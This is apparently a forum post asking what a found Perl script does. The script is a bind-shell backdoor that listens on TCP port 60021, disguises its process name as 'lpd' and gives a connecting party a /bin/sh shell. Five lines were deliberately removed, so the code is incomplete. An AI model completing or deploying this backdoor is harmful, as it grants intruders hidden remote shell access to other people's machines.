Perl hack script, but what for is it?

Anybody know what the following script is for?

Thanks in advance.

#!/usr/bin/perl

use Socket;

#rintf "BS\n";
#lush();

$port= 60021;
$proto= getprotobyname('tcp');
$cmd= "lpd";
$system= 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';

$0 = $cmd;


socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";

setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";

bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";

listen(SERVER, SOMAXCONN)or die "listen: $!";

------deleted 5 lines so scriptkiddies can not copy the script --

system($system);

close(STDIN);
close(STDOUT);
close(STDERR);
}

 

 

 

 

Top